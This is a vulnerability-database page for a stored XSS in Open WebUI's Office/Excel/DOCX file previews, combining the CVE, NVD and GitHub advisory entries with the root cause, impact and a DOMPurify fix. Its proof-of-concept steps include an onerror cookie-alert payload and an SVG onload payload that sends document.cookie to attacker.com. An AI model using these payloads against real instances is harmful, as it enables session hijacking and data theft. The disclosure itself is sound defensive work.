Vulnerability-Lookup

CVE-2026-45318 (GCVE-0-2026-45318)

Vulnerability from cvelistv5 – Published: 2026-05-15 21:28 – Updated: 2026-05-18 12:45

Title

Open WebUI: Stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)

Summary

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3.

Severity ?

5.4 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	open-webui	open-webui	Affected: < 0.9.3

FKIE_CVE-2026-45318

Vulnerability from fkie_nvd - Published: 2026-05-15 22:16 - Updated: 2026-06-17 10:51

Severity ?

5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc	Exploit, Mitigation, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc	Exploit, Mitigation, Vendor Advisory

Impacted products

	Vendor	Product	Version
	openwebui	open_webui	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "open-webui",
          "vendor": "open-webui",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.9.3"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "289624DF-DC93-4E9F-9D2C-502D95BAF58A",
              "versionEndExcluding": "0.9.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, his advisory tracks a regression of the original Excel-preview XSS (CVE-2026-44549). The same root cause \u2014 XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify \u2014 was reintroduced sometime after v0.8.0 and is exploitable again This vulnerability is fixed in 0.9.3."
    }
  ],
  "id": "CVE-2026-45318",
  "lastModified": "2026-06-17T10:51:54.767",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.4,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 2.7,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45318",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-18T12:44:55.558172Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-15T22:16:54.653",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Mitigation",
        "Vendor Advisory"
      ],
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HCWP-82G6-8WXC

Vulnerability from github – Published: 2026-05-14 20:18 – Updated: 2026-05-19 15:58

Summary

Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)

Details

Related advisory

This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under GHSA-jwf8-pv5p-vhmc (patched in v0.8.0). The same root cause — XLSX.utils.sheet_to_html() output rendered via {@html excelHtml} without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related fileOfficeHtml sink in src/lib/components/chat/FileNav.svelte (lines 458 and 1285) which was not part of the jwf8 advisory's scope.

Summary

Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's {@html} directive without DOMPurify sanitization. While the codebase has DOMPurify available and uses it in 9 out of 23 {@html} locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.

This is a classic defense propagation failure: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.

Root Cause

The defense primitive exists: DOMPurify.sanitize() is imported and used in components like General.svelte, MarkdownInlineTokens.svelte, Banner.svelte, and SVGPanZoom.svelte.

But 3 file-preview paths skip it:

Occurrence 1: FilePreview.svelte — Office HTML

File: src/lib/components/chat/FileNav/FilePreview.svelte line 324

{:else if fileOfficeHtml !== null}
    <div class="office-preview overflow-auto flex-1 min-h-0">
        {@html fileOfficeHtml}   <!-- NO DOMPurify! -->
    </div>

fileOfficeHtml is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.

Occurrence 2: FileItemModal.svelte — Excel HTML

File: src/lib/components/common/FileItemModal.svelte line 560

{@html excelHtml}   <!-- NO DOMPurify! -->

excelHtml is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.

Occurrence 3: FileItemModal.svelte — DOCX HTML

File: src/lib/components/common/FileItemModal.svelte line 590

{@html docxHtml}   <!-- NO DOMPurify! -->

docxHtml is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.

Contrast with Sanitized Paths

For comparison, the same codebase correctly sanitizes in other locations:

<!-- MarkdownInlineTokens.svelte:130 — SAFE -->
{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}

<!-- General.svelte:276 — SAFE -->
{@html DOMPurify.sanitize($config?.license_metadata?.html)}

<!-- Banner.svelte:103 — SAFE -->
{@html DOMPurify.sanitize(marked.parse(...))}

Defense Propagation Gap

Metric	Value
Total `{@html}` usages	23
With DOMPurify	9 (39%)
Without DOMPurify	14 (61%)
Confirmed exploitable (file preview)	3

The remaining 11 unsanitized {@html} usages include syntax highlighting (hljs), KaTeX math rendering, and marked.parse() with sanitizeResponseContent() pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.

Tested Version

Open WebUI v0.8.12 (commit 9bd8425, tag v0.8.12)

Steps to Reproduce

PoC 1: Malicious Excel File

Create a .xlsx file with a cell containing: <img src=x onerror="alert(document.cookie)"> (Using a library like openpyxl to inject raw HTML into cell values)
Upload the file to Open WebUI via the chat file upload
When any user previews the file → excelHtml renders the injected HTML → XSS fires

PoC 2: Malicious DOCX File

Create a .docx file with embedded HTML: xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r>
Upload to Open WebUI
File preview renders docxHtml → XSS fires

PoC 3: Verify Rendering Path

// In browser devtools on Open WebUI, after uploading a file:
// The file preview component renders:
//   FileItemModal → {@html excelHtml}  // no DOMPurify
//   FileItemModal → {@html docxHtml}   // no DOMPurify
//   FilePreview   → {@html fileOfficeHtml}  // no DOMPurify

// Compare with safe path:
//   NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))}  // sanitized!

Impact

Stored XSS — malicious file is stored server-side, XSS fires for every user who previews it
Session hijacking via document.cookie theft
Account takeover — attacker can perform actions as the victim user
Data exfiltration — read chat history, API keys, uploaded documents
Multi-user environments — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)
Defense propagation failure — DOMPurify is available and used elsewhere, but not applied to file preview paths

Suggested Remediation

Apply DOMPurify to all three file preview paths:

<!-- FilePreview.svelte:324 — FIX -->
{@html DOMPurify.sanitize(fileOfficeHtml)}

<!-- FileItemModal.svelte:560 — FIX -->
{@html DOMPurify.sanitize(excelHtml)}

<!-- FileItemModal.svelte:590 — FIX -->
{@html DOMPurify.sanitize(docxHtml)}

Alternatively, adopt a defense-by-default pattern: create a wrapper component that always applies DOMPurify, making unsanitized {@html} usage a code review flag.

References

CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)
OWASP XSS Prevention Cheat Sheet
GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)

Severity ?

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45318"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:18:27Z",
    "nvd_published_at": "2026-05-15T22:16:54Z",
    "severity": "MODERATE"
  },
  "details": "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause \u2014 `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify \u2014 was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory\u0027s scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte\u0027s `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte \u2014 Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n    \u003cdiv class=\"office-preview overflow-auto flex-1 min-h-0\"\u003e\n        {@html fileOfficeHtml}   \u003c!-- NO DOMPurify! --\u003e\n    \u003c/div\u003e\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte \u2014 Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte \u2014 DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml}   \u003c!-- NO DOMPurify! --\u003e\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n\u003c!-- MarkdownInlineTokens.svelte:130 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: [\u0027target\u0027] })}\n\n\u003c!-- General.svelte:276 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n\u003c!-- Banner.svelte:103 \u2014 SAFE --\u003e\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing \u2014 these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n   ```\n   \u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n   ```\n   (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file \u2192 `excelHtml` renders the injected HTML \u2192 **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n   ```xml\n   \u003cw:r\u003e\u003cw:t\u003e\u003c![CDATA[\u003csvg onload=\"fetch(\u0027https://attacker.com/steal?c=\u0027+document.cookie)\"\u003e]]\u003e\u003c/w:t\u003e\u003c/w:r\u003e\n   ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` \u2192 **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n//   FileItemModal \u2192 {@html excelHtml}  // no DOMPurify\n//   FileItemModal \u2192 {@html docxHtml}   // no DOMPurify\n//   FilePreview   \u2192 {@html fileOfficeHtml}  // no DOMPurify\n\n// Compare with safe path:\n//   NotebookView \u2192 {@html DOMPurify.sanitize(toStr(output.data[\u0027text/html\u0027]))}  // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** \u2014 malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** \u2014 attacker can perform actions as the victim user\n- **Data exfiltration** \u2014 read chat history, API keys, uploaded documents\n- **Multi-user environments** \u2014 shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** \u2014 DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n\u003c!-- FilePreview.svelte:324 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n\u003c!-- FileItemModal.svelte:560 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(excelHtml)}\n\n\u003c!-- FileItemModal.svelte:590 \u2014 FIX --\u003e\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
  "id": "GHSA-hcwp-82g6-8wxc",
  "modified": "2026-05-19T15:58:48Z",
  "published": "2026-05-14T20:18:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-45318 (GCVE-0-2026-45318)

FKIE_CVE-2026-45318

GHSA-HCWP-82G6-8WXC

Related advisory

Summary

Root Cause

Occurrence 1: FilePreview.svelte — Office HTML

Occurrence 2: FileItemModal.svelte — Excel HTML

Occurrence 3: FileItemModal.svelte — DOCX HTML

Contrast with Sanitized Paths

Defense Propagation Gap

Tested Version

Steps to Reproduce

PoC 1: Malicious Excel File

PoC 2: Malicious DOCX File

PoC 3: Verify Rendering Path

Impact

Suggested Remediation

References

Tags

Sightings

Nomenclature